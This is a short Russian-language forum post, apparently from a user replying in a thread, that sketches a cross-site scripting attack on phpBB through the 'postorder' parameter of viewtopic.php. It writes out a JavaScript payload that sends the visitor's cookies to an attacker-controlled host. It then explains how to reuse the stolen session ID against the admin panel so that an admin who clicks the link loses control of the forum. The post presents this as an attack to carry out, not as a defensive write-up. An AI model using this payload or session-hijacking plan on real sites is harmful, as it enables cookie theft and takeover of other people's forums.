alexhemp
упал с пальмы | Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
xntx
Идея мне кажется в том, что можно сделать cпециальный скрипт на вражеском хосте и
запостить такой линк на том форуме, что хочешь атаковать, типа
http://host/phpBB/viewtopic.php?t=123&postorder=(здесь JavaScript код указанный ниже)
<scipt>
document.write("<img src=http://вражеский хост/script?cookie=>" + document.cookie);
</script>
В скрипте на вражеском хосте можно написать попытку входа в админпанель делая GET по http://host/phpBBadmin/index.php?sid=SID_из_куков и разбирая результат.
Далее, если админ на такой линк нажмет (сходу все пристойно, линк просто и все)
то дело техники и оперативности захватить управления форумом.
Это просто то, что мне в голову пришло, может и проще все или сложнее, но идею я думаю ухватил.
|
